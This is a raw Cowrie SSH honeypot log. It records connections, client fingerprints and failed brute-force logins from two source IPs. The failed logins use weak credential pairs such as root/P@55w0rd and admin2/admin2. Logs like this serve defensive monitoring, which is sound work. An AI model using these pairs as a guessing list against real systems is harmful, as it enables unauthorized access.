{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:44.666906Z","src_ip":"192.109.200.78","session":"964b78c6587f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:45.144411Z","src_ip":"192.109.200.78","session":"964b78c6587f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:46.227901Z","src_ip":"192.109.200.78","session":"964b78c6587f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":51274,"dst_ip":"159.203.135.109","dst_port":22,"session":"24a8171100ee","protocol":"ssh","message":"New connection: 46.29.234.126:51274 (159.203.135.109:22) [session: 24a8171100ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:46.903816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:46.908024Z","src_ip":"46.29.234.126","session":"24a8171100ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:47.023533Z","src_ip":"46.29.234.126","session":"24a8171100ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"database","password":"1234","message":"login attempt [database/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:47.514571Z","src_ip":"46.29.234.126","session":"24a8171100ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41886,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d637b30f76","protocol":"ssh","message":"New connection: 192.109.200.78:41886 (10.17.0.5:22) [session: f2d637b30f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:48.248138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:48.259649Z","src_ip":"192.109.200.78","session":"f2d637b30f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:48.343007Z","src_ip":"192.109.200.78","session":"f2d637b30f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:48.592195Z","src_ip":"192.109.200.78","session":"f2d637b30f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:48.633962Z","src_ip":"46.29.234.126","session":"24a8171100ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:49.677453Z","src_ip":"192.109.200.78","session":"f2d637b30f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a5385f6b9be","protocol":"ssh","message":"New connection: 192.109.200.78:41890 (10.17.0.5:22) [session: 8a5385f6b9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:51.603248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:51.607065Z","src_ip":"192.109.200.78","session":"8a5385f6b9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:51.687835Z","src_ip":"192.109.200.78","session":"8a5385f6b9be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:51.937734Z","src_ip":"192.109.200.78","session":"8a5385f6b9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:53.021464Z","src_ip":"192.109.200.78","session":"8a5385f6b9be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41740,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d230bc0b864","protocol":"ssh","message":"New connection: 192.109.200.78:41740 (10.17.0.5:22) [session: 1d230bc0b864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:55.054352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:55.155378Z","src_ip":"192.109.200.78","session":"1d230bc0b864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:55.158759Z","src_ip":"192.109.200.78","session":"1d230bc0b864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:55.634392Z","src_ip":"192.109.200.78","session":"1d230bc0b864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:56.717990Z","src_ip":"192.109.200.78","session":"1d230bc0b864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41752,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ab5b7182e7","protocol":"ssh","message":"New connection: 192.109.200.78:41752 (10.17.0.5:22) [session: 79ab5b7182e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:58.807815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:58.811655Z","src_ip":"192.109.200.78","session":"79ab5b7182e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:58.896512Z","src_ip":"192.109.200.78","session":"79ab5b7182e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:59.141911Z","src_ip":"192.109.200.78","session":"79ab5b7182e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:00.240628Z","src_ip":"192.109.200.78","session":"79ab5b7182e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42744,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b1677f886df","protocol":"ssh","message":"New connection: 192.109.200.78:42744 (10.17.0.5:22) [session: 3b1677f886df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:02.151815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:02.157554Z","src_ip":"192.109.200.78","session":"3b1677f886df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:02.239927Z","src_ip":"192.109.200.78","session":"3b1677f886df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"1234","message":"login attempt [bob/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:02.485930Z","src_ip":"192.109.200.78","session":"3b1677f886df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:03.568877Z","src_ip":"192.109.200.78","session":"3b1677f886df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42750,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb46f401452","protocol":"ssh","message":"New connection: 192.109.200.78:42750 (10.17.0.5:22) [session: bdb46f401452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:05.597832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:05.603146Z","src_ip":"192.109.200.78","session":"bdb46f401452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:05.688056Z","src_ip":"192.109.200.78","session":"bdb46f401452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:06.131430Z","src_ip":"192.109.200.78","session":"bdb46f401452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:07.215706Z","src_ip":"192.109.200.78","session":"bdb46f401452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42754,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5be5f16321c","protocol":"ssh","message":"New connection: 192.109.200.78:42754 (10.17.0.5:22) [session: b5be5f16321c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:09.210101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:09.214273Z","src_ip":"192.109.200.78","session":"b5be5f16321c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 